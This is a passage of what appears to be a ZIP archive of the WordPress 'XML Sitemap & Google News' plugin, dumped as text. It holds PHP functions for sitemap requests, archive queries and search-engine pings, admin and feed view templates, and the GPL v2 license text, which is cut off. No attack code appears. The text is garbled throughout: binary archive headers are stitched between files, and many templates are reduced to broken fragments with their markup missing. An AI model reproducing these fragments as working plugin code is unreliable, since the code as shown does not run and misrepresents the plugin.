substr($m, 4, 2); if ( strlen($m) > 7 ) { $where .= " AND DAY(post_date)=" . substr($m, 6, 2); } } } $order = ( $which == 'last' ) ? 'DESC' : 'ASC'; /* CODE SUGGESTION BY Frédéric Demarle * to make this language aware: "SELECT post_{$field}_gmt FROM $wpdb->posts" . PLL()->model->post->join_clause() ."WHERE post_status = 'publish' AND post_type IN ({$post_types})" . PLL()->model->post->where_clause( $lang ) . ORDER BY post_{$field}_gmt DESC LIMIT 1 */ switch ( $timezone ) { case 'gmt': $date = $wpdb->get_var("SELECT post_{$field}_gmt FROM $wpdb->posts WHERE $where ORDER BY post_{$field}_gmt $order LIMIT 1"); break; case 'blog': $date = $wpdb->get_var("SELECT post_{$field} FROM $wpdb->posts WHERE $where ORDER BY post_{$field}_gmt $order LIMIT 1"); break; case 'server': $add_seconds_server = date('Z'); $date = $wpdb->get_var("SELECT DATE_ADD(post_{$field}_gmt, INTERVAL '$add_seconds_server' SECOND) FROM $wpdb->posts WHERE $where ORDER BY post_{$field}_gmt $order LIMIT 1"); break; } if ( $date ) { wp_cache_set( $key, $date, 'timeinfo' ); return $date; } return false; } } /** * Retrieve the date that the first post/page was published. * Variation of function get_lastpostdate, uses _get_post_time * * The server timezone is the default and is the difference between GMT and * server time. The 'blog' value is the date when the last post was posted. The * 'gmt' is when the last post was posted in GMT formatted date. * * @uses apply_filters() Calls 'get_firstpostdate' filter * @param string $timezone The location to get the time. Can be 'gmt', 'blog', or 'server'. * @param string $post_type Post type to check. * @return string The date of the last post. */ if( !function_exists('get_firstpostdate') ) { function get_firstpostdate($timezone = 'server', $post_type = 'any') { return apply_filters( 'get_firstpostdate', _get_post_time( $timezone, 'date', $post_type, 'first' ), $timezone ); } } /** * Retrieve last post/page modified date depending on timezone. * Variation of function get_lastpostmodified, uses _get_post_time * * The server timezone is the default and is the difference between GMT and * server time. The 'blog' value is the date when the last post was posted. The * 'gmt' is when the last post was posted in GMT formatted date. * * @uses apply_filters() Calls 'get_lastmodified' filter * @param string $timezone The location to get the time. Can be 'gmt', 'blog', or 'server'. * @return string The date of the oldest modified post. */ if( !function_exists('get_lastmodified') ) { function get_lastmodified( $timezone = 'server', $post_type = 'any', $m = '' ) { return apply_filters( 'get_lastmodified', _get_post_time( $timezone, 'modified', $post_type, 'last', $m ), $timezone ); } } PK.—[>q#oo,xml-sitemap-feed/models/functions.shared.phpnu„[µü¤request_filtered ) return $request; if ( isset($request['feed']) && strpos($request['feed'],'sitemap') === 0 ) : // make sure we have the proper locale setting for calculations setlocale( LC_NUMERIC, 'C' ); // include shared functions require_once XMLSF_DIR . '/models/functions.public-shared.php'; // set the sitemap conditional flag xmlsf()->is_sitemap = true; // REPSONSE HEADERS filtering add_filter( 'wp_headers', 'xmlsf_headers' ); // Remove filters to prevent stuff like cdn urls for xml stylesheet and images remove_all_filters( 'plugins_url' ); remove_all_filters( 'wp_get_attachment_url' ); remove_all_filters( 'image_downsize' ); // modify request parameters $request['post_status'] = 'publish'; $request['no_found_rows'] = true; // found rows calc is slow and only needed for pagination // PLUGIN COMPATIBILITIES // Polylang $request['lang'] = ''; // WPML compat global $wpml_query_filter; if ( is_object($wpml_query_filter) ) { remove_filter( 'posts_join', array( $wpml_query_filter, 'posts_join_filter' ) ); remove_filter( 'posts_where', array( $wpml_query_filter, 'posts_where_filter' ) ); add_action( 'the_post', 'xmlsf_wpml_language_switcher' ); } // bbPress remove_filter( 'bbp_request', 'bbp_request_feed_trap' ); // check for gz request if ( substr($request['feed'], -3) == '.gz' ) { $request['feed'] = substr($request['feed'], 0, -3); xmlsf_output_compression(); } if ( strpos($request['feed'],'sitemap-news') === 0 ) { // set the news sitemap conditional flag xmlsf()->is_news = true; require_once XMLSF_DIR . '/models/functions.public-sitemap-news.php'; $request = xmlsf_sitemap_news_parse_request( $request ); } else { require_once XMLSF_DIR . '/models/functions.public-sitemap.php'; $request = xmlsf_sitemap_parse_request( $request ); } endif; xmlsf()->request_filtered = true; return $request; } /** * Remove the trailing slash from permalinks that have an extension, * such as /sitemap.xml (thanks to Permalink Editor plugin for WordPress) * * @param string $request * * @return mixed */ function xmlsf_untrailingslash( $request ) { return pathinfo($request, PATHINFO_EXTENSION) ? untrailingslashit($request) : $request; } /** * Ping * * @since 5.1 * @param $se google|bing * @param $sitemap sitemap * @param $interval seconds * @return string ping response|999 (skipped) */ function xmlsf_ping( $se, $sitemap, $interval ) { if ( 'google' == $se ) { $url = 'https://www.google.com/ping'; } elseif ( 'bing' == $se ) { $url = 'https://www.bing.com/ping'; } else { return ''; } $url = add_query_arg( 'sitemap', urlencode( trailingslashit( get_bloginfo( 'url' ) ) . $sitemap ), $url ); // check if we did not ping already within the interval if ( false === get_transient( 'xmlsf_ping_'.$se.'_'.$sitemap ) ) { // Ping ! $response = wp_remote_request( $url ); $code = wp_remote_retrieve_response_code( $response ); if ( 200 === $code ) { set_transient( 'xmlsf_ping_'.$se.'_'.$sitemap, '', $interval ); } } else { // Skip ! $code = 999; } do_action( 'xmlsf_ping', $se, $sitemap, $url, $code ); return $code; } /** * Nginx helper purge urls * adds sitemap urls to the purge array. * * @param $urls array * @param $redis bool|false * * @return $urls array */ function xmlsf_nginx_helper_purge_urls( $urls = array(), $redis = false ) { if ( $redis ) { // wildcard allowed, this makes everything simple $urls[] = '/sitemap*.xml'; } else { // no wildcard, go through the motions $sitemaps = get_option( 'xmlsf_sitemaps' ); if ( !empty( $sitemaps['sitemap-news'] ) ) { $urls[] = '/sitemap-news.xml'; } if ( !empty( $sitemaps['sitemap'] ) ) { $urls[] = '/sitemap.xml'; $urls[] = '/sitemap-home.xml'; $urls[] = '/sitemap-custom.xml'; // add public post types sitemaps $post_types = get_option( 'xmlsf_post_types' ); if ( is_array($post_types) ) { foreach ( $post_types as $post_type => $settings ) { $archive = !empty($settings['archive']) ? $settings['archive'] : ''; foreach ( xmlsf_get_archives($post_type,$archive) as $url ) { $urls[] = parse_url( $url, PHP_URL_PATH); } } } // add public post taxonomies sitemaps $taxonomies = get_option('xmlsf_taxonomies'); if ( is_array($taxonomies) ) { foreach ( $taxonomies as $taxonomy ) { $urls[] = parse_url( xmlsf_get_index_url('taxonomy',$taxonomy), PHP_URL_PATH); } } } } return $urls; } PK.—[åÖ°ú__2xml-sitemap-feed/models/functions.sitemap-news.phpnu„[µü¤plain_permalinks() ) { $name = '?feed=sitemap-'.$sitemap; $name .= $type ? '-'.$type : ''; $name .= $param ? '&m='.$param : ''; } else { $name = 'sitemap-'.$sitemap; $name .= $type ? '-'.$type : ''; $name .= $param ? '.'.$param : ''; $name .= '.xml'; } return esc_url( trailingslashit( home_url() ) . $name ); } /** * Get archives * * @param string $post_type * @param string $type * * @return array */ function xmlsf_get_archives( $post_type = 'post', $type = '' ) { global $wpdb; $return = array(); if ( 'monthly' == $type ) : $query = "SELECT YEAR(post_date) as `year`, LPAD(MONTH(post_date),2,'0') as `month`, count(ID) as posts FROM {$wpdb->posts} WHERE post_type = '{$post_type}' AND post_status = 'publish' GROUP BY YEAR(post_date), LPAD(MONTH(post_date),2,'0') ORDER BY `year` DESC, `month` DESC"; $arcresults = xmlsf_cache_get_archives( $query ); foreach ( (array) $arcresults as $arcresult ) { $return[$arcresult->year.$arcresult->month] = xmlsf_get_index_url( 'posttype', $post_type, $arcresult->year . $arcresult->month ); }; elseif ( 'yearly' == $type ) : $query = "SELECT YEAR(post_date) as `year`, count(ID) as posts FROM {$wpdb->posts} WHERE post_type = '{$post_type}' AND post_status = 'publish' GROUP BY YEAR(post_date) ORDER BY `year` DESC"; $arcresults = xmlsf_cache_get_archives( $query ); foreach ( (array) $arcresults as $arcresult ) { $return[$arcresult->year] = xmlsf_get_index_url( 'posttype', $post_type, $arcresult->year ); }; else : $query = "SELECT count(ID) as posts FROM {$wpdb->posts} WHERE post_type = '{$post_type}' AND post_status = 'publish' ORDER BY post_date DESC"; $arcresults = xmlsf_cache_get_archives( $query ); if ( is_object($arcresults[0]) && $arcresults[0]->posts > 0 ) { $return[] = xmlsf_get_index_url( 'posttype', $post_type ); // $sitemap = 'home', $type = false, $param = false }; endif; return $return; } /** * Get archives from wp_cache * * @param string $post_type * @param string $type * * @return array */ function xmlsf_cache_get_archives( $query ) { global $wpdb; $key = md5($query); $cache = wp_cache_get( 'xmlsf_get_archives' , 'general'); if ( !isset( $cache[ $key ] ) ) { $arcresults = $wpdb->get_results($query); $cache[ $key ] = $arcresults; wp_cache_set( 'xmlsf_get_archives', $cache, 'general' ); } else { $arcresults = $cache[ $key ]; } return $arcresults; } /** * Get taxonomies * Returns an array of taxonomy names to be included in the index * * @since 5.0 * @param void * @return array */ function xmlsf_get_taxonomies() { $taxonomy_settings = get_option('xmlsf_taxonomy_settings'); $tax_array = array(); if ( !empty( $taxonomy_settings['active'] ) ) { $taxonomies = get_option('xmlsf_taxonomies'); if ( is_array($taxonomies) ) { foreach ( $taxonomies as $taxonomy ) { $count = wp_count_terms( $taxonomy, array('hide_empty'=>true) ); if ( !is_wp_error($count) && $count > 0 ) $tax_array[] = $taxonomy; } } else { foreach ( xmlsf_public_taxonomies() as $name => $label ) if ( 0 < wp_count_terms( $name, array('hide_empty'=>true) ) ) $tax_array[] = $name; } } return $tax_array; } /** * Get all public (and not empty) taxonomies * Returns an array associated taxonomy object names and labels. * * @since 5.0 * @param void * @return array */ function xmlsf_public_taxonomies() { $tax_array = array(); foreach ( (array) get_option( 'xmlsf_post_types' ) as $post_type => $settings ) { if ( empty($settings['active']) ) continue; // check each tax public flag and term count and append name to array foreach ( get_object_taxonomies( $post_type, 'objects' ) as $taxonomy ) { if ( !empty( $taxonomy->public ) && !in_array( $taxonomy->name, xmlsf()->disabled_taxonomies() ) ) $tax_array[$taxonomy->name] = $taxonomy->label; } } return $tax_array; } /** * Santize priority value * Expects proper locale setting for calculations: setlocale( LC_NUMERIC, 'C' ); * * Returns a float within the set limits. * * @since 5.2 * @param float $priority * @param float $min * @param float $max * @return float */ function xmlsf_sanitize_priority( $priority, $min = 0, $max = 1 ) { $priority = (float) $priority; $min = (float) $min; $max = (float) $max; if ( $priority <= $min ) { return number_format( $min, 1 ); } elseif ( $priority >= $max ) { return number_format( $max, 1 ); } else { return number_format( $priority, 1 ); } } /** * Get post attached | featured image(s) * * @param object $post * @param string $which * * @return array */ function xmlsf_images_data( $post, $which ) { $attachments = array(); if ( 'featured' == $which ) { if ( has_post_thumbnail( $post->ID ) ) { $featured = get_post( get_post_thumbnail_id( $post->ID ) ); if ( is_object($featured) ) { $attachments[] = $featured; } } } elseif ( 'attached' == $which ) { $args = array( 'post_type' => 'attachment', 'post_mime_type' => 'image', 'numberposts' => -1, 'post_status' =>'inherit', 'post_parent' => $post->ID ); $attachments = get_posts( $args ); } if ( empty( $attachments ) ) return array(); // gather all data $images_data = array(); foreach ( $attachments as $attachment ) { $url = wp_get_attachment_url( $attachment->ID ); if ( !empty($url) ) { $url = esc_attr( esc_url_raw( $url ) ); $images_data[$url] = array( 'loc' => $url, 'title' => apply_filters( 'the_title_xmlsitemap', $attachment->post_title ), 'caption' => apply_filters( 'the_title_xmlsitemap', $attachment->post_excerpt ) // 'caption' => apply_filters( 'the_title_xmlsitemap', get_post_meta( $attachment->ID, '_wp_attachment_image_alt', true ) ) ); } } return $images_data; } /** * Get instantiated sitemap controller class * * @since 5.2 * @global XMLSF_Sitemap $xmlsf_sitemap * @return XMLSF_Sitemap object */ function xmlsf_sitemap( $sitemap = null ) { global $xmlsf_sitemap; if ( ! isset( $xmlsf_sitemap ) ) { if ( ! class_exists( 'XMLSF_Sitemap' ) ) require XMLSF_DIR . '/controllers/class.xmlsf-sitemap.php'; if ( empty($sitemap) ) { $sitemaps = get_option( 'xmlsf_sitemaps' ); $sitemap = $sitemaps['sitemap']; } $xmlsf_sitemap = new XMLSF_Sitemap( $sitemap ); } return $xmlsf_sitemap; } PK.—[±?»NN6xml-sitemap-feed/views/admin/field-news-categories.phpnu„[µü¤

      PK.—[4`e•4xml-sitemap-feed/views/admin/field-news-keywords.phpnu„[µü¤

      '.__('Google News Advanced','xml-sitemap-feed').''); ?>

      PK.—[äÂ××2xml-sitemap-feed/views/admin/field-news-labels.phpnu„[µü¤

      '.__('Google News Publisher Center','xml-sitemap-feed').''); ?>

      PK.—[à3ž™÷÷0xml-sitemap-feed/views/admin/field-news-name.phpnu„[µü¤

      General */ __( 'By default, the general %s setting will be used.', 'xml-sitemap-feed' ), ''.translate('Site Title').'' ); ?>

      PK.—[^UZUU4xml-sitemap-feed/views/admin/field-news-ping-log.phpnu„[µü¤

      PK.—[ú™ðb³³5xml-sitemap-feed/views/admin/field-news-post-type.phpnu„[µü¤

      '.__('Google News Advanced','xml-sitemap-feed').''); ?>

      PK.—[:Èüü8xml-sitemap-feed/views/admin/field-news-stocktickers.phpnu„[µü¤


      '.__('Google News Advanced','xml-sitemap-feed').''); ?>

      PK.—[íµ¸¡ˆˆ+xml-sitemap-feed/views/admin/field-ping.phpnu„[µü¤

      PK.—[öjÓ-xml-sitemap-feed/views/admin/field-robots.phpnu„[µü¤

      PK.—[ó½·¥¨¨5xml-sitemap-feed/views/admin/field-sitemap-custom.phpnu„[µü¤

      PK.—[f3í²ŠŠ6xml-sitemap-feed/views/admin/field-sitemap-domains.phpnu„[µü¤

      PK.—[c\,á  8xml-sitemap-feed/views/admin/field-sitemap-post-type.phpnu„[µü¤
      label; ?>

      hierarchical) ) { $archive = isset($options[$obj->name]['archive']) ? $options[$obj->name]['archive'] : 'yearly'; ?>

      name]['priority']) ? $options[$obj->name]['priority'] : '0.5'; $image = isset($options[$obj->name]['tags']['image']) ? $options[$obj->name]['tags']['image'] : 'attached'; $context = ( $obj->name === 'page' ) ? 'page' : 'post'; ?>

      PK.—[mDžj  /xml-sitemap-feed/views/admin/field-sitemaps.phpnu„[µü¤
      sitemaps['sitemap']) ) { $sitemap_url = trailingslashit(get_bloginfo('url')) . ( xmlsf()->plain_permalinks() ? '?feed=sitemap' : $this->sitemaps['sitemap'] ); ?>  –  |
      sitemaps['sitemap-news'])) { $news_url = trailingslashit(get_bloginfo('url')) . ( xmlsf()->plain_permalinks() ? '?feed=sitemap-news' : $this->sitemaps['sitemap-news'] ); ?>  –  |
      PK.—[O@âK””9xml-sitemap-feed/views/admin/field-sitemap-taxonomies.phpnu„[µü¤

      public_taxonomies() ) ) { ?>
        public_taxonomies() as $name => $label ) { ?>

      PK.—[lÍ@–ËË@xml-sitemap-feed/views/admin/field-sitemap-taxonomy-settings.phpnu„[µü¤

      public_taxonomies() ) { ?>

      PK.—[ðu>‰‰3xml-sitemap-feed/views/admin/field-sitemap-urls.phpnu„[µü¤

      PK.—[â„^LL2xml-sitemap-feed/views/admin/help-tab-advanced.phpnu„[µü¤




      PK.—[b-¸TÛÛ9xml-sitemap-feed/views/admin/help-tab-allowed-domains.phpnu„[µü¤

      '.parse_url( home_url(), PHP_URL_HOST ).'' ); ?>

      PK.—[„6»³÷÷9xml-sitemap-feed/views/admin/help-tab-news-categories.phpnu„[µü¤

      PK.—[^O‰ã¢¢7xml-sitemap-feed/views/admin/help-tab-news-keywords.phpnu„[µü¤

      PK.—[¿«™‘‘5xml-sitemap-feed/views/admin/help-tab-news-labels.phpnu„[µü¤

      '.__('Google News Publisher Center','xml-sitemap-feed').''); ?> '.__('What does each source label mean?','xml-sitemap-feed').''); ?>

      PK.—[‘¦íüü3xml-sitemap-feed/views/admin/help-tab-news-name.phpnu„[µü¤

      General */ __( 'By default, the general %s setting will be used.', 'xml-sitemap-feed' ), ''.translate('Site Title').'' ); ?> Updated publication name.', 'xml-sitemap-feed' ); ?>

      PK.—[5±L++.xml-sitemap-feed/views/admin/help-tab-news.phpnu„[µü¤

      Google News guidelines, go ahead and submit your site for inclusion!','xml-sitemap-feed'); ?>

      PK.—[¸œ,øø6xml-sitemap-feed/views/admin/help-tab-news-sidebar.phpnu„[µü¤

      PK.—[¨ÖïÑ**;xml-sitemap-feed/views/admin/help-tab-news-stocktickers.phpnu„[µü¤

      PK.—[•âíí.xml-sitemap-feed/views/admin/help-tab-ping.phpnu„[µü¤

      XML Sitemaps upon each new publication.', 'xml-sitemap-feed' ), __('XML Sitemap & Google News','xml-sitemap-feed'), admin_url('options-reading.php') ); ?>

      PK.—[ ˆU6……4xml-sitemap-feed/views/admin/help-tab-post-types.phpnu„[µü¤




      PK.—[~üæ;tt0xml-sitemap-feed/views/admin/help-tab-robots.phpnu„[µü¤


      '.__('Learn about robots.txt files','xml-sitemap-feed').'',''.__('Robots.txt Specifications','xml-sitemap-feed').'' ); ?>

      PK.—[ãá#j1xml-sitemap-feed/views/admin/help-tab-sidebar.phpnu„[µü¤

      PK.—[%š¾—,,2xml-sitemap-feed/views/admin/help-tab-sitemaps.phpnu„[µü¤

      PK.—[¼8:ᦦ1xml-sitemap-feed/views/admin/help-tab-support.phpnu„[µü¤

      Support.', 'xml-sitemap-feed' ), ''.__('XML Sitemap & Google News','xml-sitemap-feed') . '', 'https://wordpress.org/support/plugin/xml-sitemap-feed' ); ?> Review or help out with Translating!', 'xml-sitemap-feed' ), 'https://wordpress.org/support/plugin/xml-sitemap-feed/reviews/?filter=5#new-post', 'https://translate.wordpress.org/projects/wp-plugins/xml-sitemap-feed' ); ?> Github.', 'xml-sitemap-feed' ), 'https://github.com/RavanH/xml-sitemap-feed' ); ?>

      PK.—[}B´¥¥4xml-sitemap-feed/views/admin/help-tab-taxonomies.phpnu„[µü¤




      PK.—[•+.¬üü.xml-sitemap-feed/views/admin/meta-box-news.phpnu„[µü¤

      PK.—[¾mI)xml-sitemap-feed/views/admin/meta-box.phpnu„[µü¤

      %2$s.','xml-sitemap-feed'), translate('Settings'), '' . __('XML Sitemap','xml-sitemap-feed') . '' ); ?>

      PK.—[3²,Õ]]>xml-sitemap-feed/views/admin/notice-catchbox-feed-redirect.phpnu„[µü¤

      ' . translate('Feed Redirect URL', 'catch-box') . '', __('XML Sitemap & Google News','xml-sitemap-feed'), '' . translate('Theme Options', 'catch-box') . '', '' . translate('Customizer') . '' ); ?>

      PK.—[² úÅÑÑ>xml-sitemap-feed/views/admin/notice-rankmath-date-redirect.phpnu„[µü¤

      %1$s under %2$s in your SEO settings or set all %3$s options to %4$s under %5$s in your XML Sitemap settings.', 'xml-sitemap-feed'), translate('Date Archives','rank-math'), '' . translate('Misc Pages','rank-math') . '', __( 'Split by', 'xml-sitemap-feed' ), translate('None'), '' . __('Included post types','xml-sitemap-feed') . '' ); ?>

      PK.—[;hÖCC8xml-sitemap-feed/views/admin/notice-rankmath-sitemap.phpnu„[µü¤

      ' . translate('Modules','rank-math') . '', __('XML Sitemap Index','xml-sitemap-feed'), '' . translate('Reading Settings') . '' ); ?>

      PK.—[OEÙÙ>xml-sitemap-feed/views/admin/notice-seopress-date-redirect.phpnu„[µü¤

      %1$s under %2$s in your SEO settings or set all %3$s options to %4$s under %5$s in your XML Sitemap settings.', 'xml-sitemap-feed'), translate('Date archives','wp-seopress'), '' . translate('Archives','wp-seopress') . '', __( 'Split by', 'xml-sitemap-feed' ), translate('None'), '' . __('Included post types','xml-sitemap-feed') . '' ); ?>

      PK.—[ ÞáOO8xml-sitemap-feed/views/admin/notice-seopress-sitemap.phpnu„[µü¤

      ' . translate('XML / HTML Sitemap','wp-seopress') . '', __('XML Sitemap Index','xml-sitemap-feed'), '' . translate('Reading Settings') . '' ); ?>

      PK.—[ðÈCC4xml-sitemap-feed/views/admin/notice-static-files.phpnu„[µü¤

      sitemap.', 'The following %1$s static files have been found. Either delete them or disable the conflicting sitemaps.', $number,'xml-sitemap-feed'), number_format_i18n($number), admin_url('options-reading.php') . '#xmlsf_sitemaps' ); ?>

        $file) { ?>

       

      PK.—[zEGeÊÊ;xml-sitemap-feed/views/admin/notice-wpseo-date-redirect.phpnu„[µü¤

      %1$s under %2$s in your SEO settings or set all %3$s options to %4$s under %5$s in your XML Sitemap settings.', 'xml-sitemap-feed'), translate('Date archives','wordpress-seo'), '' . translate('Archives','wordpress-seo') . '', __( 'Split by', 'xml-sitemap-feed' ), translate('None'), '' . __('Included post types','xml-sitemap-feed') . '' ); ?>

      PK.—[Kä¦XX5xml-sitemap-feed/views/admin/notice-wpseo-sitemap.phpnu„[µü¤

      ' . translate('Features','wordpress-seo') . '', __('XML Sitemap Index','xml-sitemap-feed'), '' . translate('Reading Settings') . '' ); ?>

      PK.—[¾}œ“ “ 2xml-sitemap-feed/views/admin/page-sitemap-news.phpnu„[µü¤

      '.translate('Writing Settings').'' ); ?>

      PK.—[hu…Òíí-xml-sitemap-feed/views/admin/page-sitemap.phpnu„[µü¤

      '.translate('Writing Settings').''); ?>

      PK.—[*¢äpRR7xml-sitemap-feed/views/admin/section-advanced-intro.phpnu„[µü¤

      '.__('Google News Advanced','xml-sitemap-feed').''); ?>

      PK.—[p%}u¾¾3xml-sitemap-feed/views/admin/sidebar-contribute.phpnu„[µü¤

      Review or help out with Translating!', 'xml-sitemap-feed' ), 'https://wordpress.org/support/plugin/xml-sitemap-feed/reviews/?filter=5#new-post', 'https://translate.wordpress.org/projects/wp-plugins/xml-sitemap-feed' ); ?>

      Github.', 'xml-sitemap-feed' ), 'https://github.com/RavanH/xml-sitemap-feed' ); ?>

      PK.—[mv••-xml-sitemap-feed/views/admin/sidebar-help.phpnu„[µü¤

      Support forum.', 'xml-sitemap-feed' ), 'https://wordpress.org/support/plugin/xml-sitemap-feed' ); ?>

      PK.—[ЗÃ’’.xml-sitemap-feed/views/feed-sitemap-custom.phpnu„[µü¤ '; ?> PK.—[Jíëë,xml-sitemap-feed/views/feed-sitemap-home.phpnu„[µü¤ '; ?> $data ) { ?> PK.—[#å…¹ ¹ ,xml-sitemap-feed/views/feed-sitemap-news.phpnu„[µü¤ '; ?> ID, '_xmlsf_news_exclude', true ), $post->ID ) || !xmlsf_is_allowed_domain( get_permalink() ) ) continue; $have_posts = true; ?> ID ); ?> post_date ); ?> PK.—[Y5¢ÇX X 'xml-sitemap-feed/views/feed-sitemap.phpnu„[µü¤ '; ?> $settings ) { if ( empty($settings['active']) || ! post_type_exists( $post_type ) ) continue; $archive = isset($settings['archive']) ? $settings['archive'] : ''; foreach ( xmlsf_get_archives($post_type,$archive) as $m => $url ) { ?> PK.—[+Ç4I\ \ 1xml-sitemap-feed/views/feed-sitemap-post_type.phpnu„[µü¤prefetch_posts_meta(); if ( !empty($image) ) { $image_xmlns = ' xmlns:image="http://www.google.com/schemas/sitemap-image/1.1"'.PHP_EOL; $image_schema = ' http://www.google.com/schemas/sitemap-image/1.1 http://www.google.com/schemas/sitemap-image/1.1/sitemap-image.xsd'; } else { $image_xmlns = ''; $image_schema = ''; } // do xml tag via echo or SVN parser is going to freak out echo ' '; ?> xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.sitemaps.org/schemas/sitemap/0.9 http://www.sitemaps.org/schemas/sitemap/0.9/sitemap.xsd"> ID == get_option('page_on_front') || apply_filters( 'xmlsf_excluded', get_post_meta( $post->ID, '_xmlsf_exclude', true ), $post->ID ) || !xmlsf_is_allowed_domain( get_permalink() ) ) continue; $did_posts = true; ?> ID, '_xmlsf_image_'.$image ) as $img_data ) { if ( empty($img_data['loc']) ) continue; ?> ', ']]>', $img_data['title']); ?>]]> ', ']]>', $img_data['caption']); ?>]]> 1.0 PK.—[ §ï0xml-sitemap-feed/views/feed-sitemap-taxonomy.phpnu„[µü¤ '; ?> PK.—[¡Ñ’÷÷%xml-sitemap-feed/views/_generator.phpnu„[µü¤ PK.—[¯Ÿv³ŽŽ!xml-sitemap-feed/views/_usage.phpnu„[µü¤ PK.—[N-ßÞ~F~Fxml-sitemap-feed/LICENSEnu„[µü¤ GNU GENERAL PUBLIC LICENSE Version 2, June 1991 Copyright (C) 1989, 1991 Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble The licenses for most software are designed to take away your freedom to share and change it. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change free software--to make sure the software is free for all its users. This General Public License applies to most of the Free Software Foundation's software and to any other program whose authors commit to using it. (Some other Free Software Foundation software is covered by the GNU Lesser General Public License instead.) You can apply it to your programs, too. When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for this service if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs; and that you know you can do these things. To protect your rights, we need to make restrictions that forbid anyone to deny you these rights or to ask you to surrender the rights. These restrictions translate to certain responsibilities for you if you distribute copies of the software, or if you modify it. For example, if you distribute copies of such a program, whether gratis or for a fee, you must give the recipients all the rights that you have. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights. We protect your rights with two steps: (1) copyright the software, and (2) offer you this license which gives you legal permission to copy, distribute and/or modify the software. Also, for each author's protection and ours, we want to make certain that everyone understands that there is no warranty for this free software. If the software is modified by someone else and passed on, we want its recipients to know that what they have is not the original, so that any problems introduced by others will not reflect on the original authors' reputations. Finally, any free program is threatened constantly by software patents. We wish to avoid the danger that redistributors of a free program will individually obtain patent licenses, in effect making the program proprietary. To prevent this, we have made it clear that any patent must be licensed for everyone's free use or not licensed at all. The precise terms and conditions for copying, distribution and modification follow. GNU GENERAL PUBLIC LICENSE TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 0. This License applies to any program or other work which contains a notice placed by the copyright holder saying it may be distributed under the terms of this General Public License. The "Program", below, refers to any such program or work, and a "work based on the Program" means either the Program or any derivative work under copyright law: that is to say, a work containing the Program or a portion of it, either verbatim or with modifications and/or translated into another language. (Hereinafter, translation is included without limitation in the term "modification".) Each licensee is addressed as "you". Activities other than copying, distribution and modification are not covered by this License; they are outside its scope. The act of running the Program is not restricted, and the output from the Program is covered only if its contents constitute a work based on the Program (independent of having been made by running the Program). Whether that is true depends on what the Program does. 1. You may copy and distribute verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice and disclaimer of warranty; keep intact all the notices that refer to this License and to the absence of any warranty; and give any other recipients of the Program a copy of this License along with the Program. You may charge a fee for the physical act of transferring a copy, and you may at your option offer warranty protection in exchange for a fee. 2. You may modify your copy or copies of the Program or any portion of it, thus forming a work based on the Program, and copy and distribute such modifications or work under the terms of Section 1 above, provided that you also meet all of these conditions: a) You must cause the modified files to carry prominent notices stating that you changed the files and the date of any change. b) You must cause any work that you distribute or publish, that in whole or in part contains or is derived from the Program or any part thereof, to be licensed as a whole at no charge to all third parties under the terms of this License. c) If the modified program normally reads commands interactively when run, you must cause it, when started running for such interactive use in the most ordinary way, to print or display an announcement including an appropriate copyright notice and a notice that there is no warranty (or else, saying that you provide a warranty) and that users may redistribute the program under these conditions, and telling the user how to view a copy of this License. (Exception: if the Program itself is interactive but does not normally print such an announcement, your work based on the Program is not required to print an announcement.) These requirements apply to the modified work as a whole. If identifiable sections of that work are not derived from the Program, and can be reasonably considered independent and separate works in themselves, then this License, and its terms, do not apply to those sections when you distribute them as separate works. But when you distribute the same sections as part of a whole which is a work based on the Program, the distribution of the whole must be on the terms of this License, whose permissions for other licensees extend to the entire whole, and thus to each and every part regardless of who wrote it. Thus, it is not the intent of this section to claim rights or contest your rights to work written entirely by you; rather, the intent is to exercise the right to control the distribution of derivative or collective works based on the Program. In addition, mere aggregation of another work not based on the Program with the Program (or with a work based on the Program) on a volume of a storage or distribution medium does not bring the other work under the scope of this License. 3. You may copy and distribute the Program (or a work based on it, under Section 2) in object code or executable form under the terms of Sections 1 and 2 above provided that you also do one of the following: a) Accompany it with the complete corresponding machine-readable source code, which must be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, b) Accompany it with a written offer, valid for at least three years, to give any third party, for a charge no more than your cost of physically performing source distribution, a complete machine-readable copy of the corresponding source code, to be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, c) Accompany it with the information you received as to the offer to distribute corresponding source code. (This alternative is allowed only for noncommercial distribution and only if you received the program in object code or executable form with such an offer, in accord with Subsection b above.) The source code for a work means the preferred form of the work for making modifications to it. For an executable work, complete source code means all the source code for all modules it contains, plus any associated interface definition files, plus the scripts used to control compilation and installation of the executable. However, as a special exception, the source code distributed need not include anything that is normally distributed (in either source or binary form) with the major components (compiler, kernel, and so on) of the operating system on which the executable runs, unless that component itself accompanies the executable. If distribution of executable or object code is made by offering access to copy from a designated place, then offering equivalent access to copy the source code from the same place counts as distribution of the source code, even though third parties are not compelled to copy the source along with the object code. 4. You may not copy, modify, sublicense, or distribute the Program except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense or distribute the Program is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance. 5. You are not required to accept this License, since you have not signed it. However, nothing else grants you permission to modify or distribute the Program or its derivative works. These actions are prohibited by law if you do not accept this License. Therefore, by modifying or distributing the Program (or any work based on the Program), you indicate your acceptance of this License to do so, and all its terms and conditions for copying, distributing or modifying the Program or works based on it. 6. Each time you redistribute the Program (or any work based on the Program), the recipient automatically receives a license from the original licensor to copy, distribute or modify the Program subject to these terms and conditions. You may not impose any further restrictions on the recipients' exercise of the rights granted herein. You are not responsible for enforcing compliance by third parties to this License. 7. If, as a consequence of a court judgment or allegation of patent infringement or for any other reason (not limited to patent issues), conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot distribute so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not distribute the Program at all. For example, if a patent license would not permit royalty-free redistribution of the Program by all those who receive copies directly or indirectly through you, then the only way you could satisfy both it and 